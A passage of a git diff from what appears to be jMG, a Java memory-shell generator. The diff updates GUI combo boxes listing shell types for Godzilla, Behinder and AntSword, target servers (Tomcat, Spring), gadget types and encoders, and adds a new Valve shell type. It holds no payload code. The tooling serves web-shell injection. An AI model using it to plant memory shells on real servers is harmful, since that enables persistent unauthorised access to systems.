serverBox.setModel(new DefaultComboBoxModel(behinderServerBox)); - shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox)); toolBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { toolType = (String) toolBox.getSelectedItem(); if (toolType.equals(Constants.TOOL_GODZILLA)) { - serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox)); - shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox)); + serverBox.setModel(new DefaultComboBoxModel(godzillaServerBox.toArray(new String[0]))); + shellBox.setModel(new DefaultComboBoxModel(godzillaShellBox.toArray(new String[0]))); } else if (toolType.equals(Constants.TOOL_ANTSWORD)) { - shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox)); - serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox)); + shellBox.setModel(new DefaultComboBoxModel(servletApiShellBox.toArray(new String[0]))); + serverBox.setModel(new DefaultComboBoxModel(servletApiServerBox.toArray(new String[0]))); } else if (toolType.equals(Constants.TOOL_CUSTOM)) { JFileChooser fileChooser = new JFileChooser(); FileFilter classFileFilter = new FileFilter() { @@ -160,8 +193,8 @@ public class jMGForm { config.setClassFilePath(selectedPath); } } else { - serverBox.setModel(new DefaultComboBoxModel(behinderServerBox)); - shellBox.setModel(new DefaultComboBoxModel(behinderShellBox)); + serverBox.setModel(new DefaultComboBoxModel(behinderServerBox.toArray(new String[0]))); + shellBox.setModel(new DefaultComboBoxModel(behinderShellBox.toArray(new String[0]))); } } }); @@ -171,19 +204,19 @@ public class jMGForm { public void actionPerformed(ActionEvent e) { serverType = (String) serverBox.getSelectedItem(); if (serverType.equals(Constants.SERVER_SPRING_MVC)) { - shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox)); + shellBox.setModel(new DefaultComboBoxModel<>(interceptorShellBox.toArray(new String[0]))); shellType = (String) shellBox.getSelectedItem(); } else if (serverType.equals(Constants.SERVER_SPRING_WEBFLUX)) { - shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox)); + shellBox.setModel(new DefaultComboBoxModel<>(handlerMethodShellBox.toArray(new String[0]))); shellType = (String) shellBox.getSelectedItem(); } else { - shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox)); + shellBox.setModel(new DefaultComboBoxModel<>(servletApiShellBox.toArray(new String[0]))); shellType = (String) shellBox.getSelectedItem(); } if (!serverType.equals(Constants.SERVER_TOMCAT) && !serverType.equals(Constants.SERVER_SPRING_MVC)) { - formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther)); + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForOther.toArray(new String[0]))); } else { - formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat)); + formatBox.setModel(new DefaultComboBoxModel<>(formatBoxForTomcat.toArray(new String[0]))); } } }); @@ -247,7 +280,7 @@ public class jMGForm { } else { exprBox.setEnabled(enableExpr.isSelected()); config.setExprEncoder(null); - exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems)); + exprBox.setModel(new DefaultComboBoxModel(exprEncoderBoxItems.toArray(new String[0]))); } } @@ -274,7 +307,7 @@ public class jMGForm { } else { gadgetTypeBox.setEnabled(enableGadget.isSelected()); config.setGadgetType(null); - gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems)); + gadgetTypeBox.setModel(new DefaultComboBoxModel(gadgetTypeBoxItems.toArray(new String[0]))); } } }); diff --git a/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java b/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java index 69d637a..8b64b28 100644 --- a/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java +++ b/jmg-gui/src/main/java/jmg/gui/util/ResultUtil.java @@ -25,6 +25,7 @@ public class ResultUtil { case Constants.SHELL_INTERCEPTOR: case Constants.SHELL_JAKARTA_LISTENER: case Constants.SHELL_JAKARTA_FILTER: + case Constants.SHELL_VALVE: TextPaneUtil.successPrintln("基础信息:"); TextPaneUtil.rawPrintln(""); TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64"); diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java index f7e198e..120651e 100644 --- a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java @@ -51,6 +51,7 @@ public class ShellHelper implements IHelper { enumShellType.add(Constants.SHELL_INTERCEPTOR); enumShellType.add(Constants.SHELL_JAKARTA_LISTENER); enumShellType.add(Constants.SHELL_JAKARTA_FILTER); + enumShellType.add(Constants.SHELL_VALVE); shell_type.setEnumValue(enumShellType); shell_type.setDefaultValue("Listener");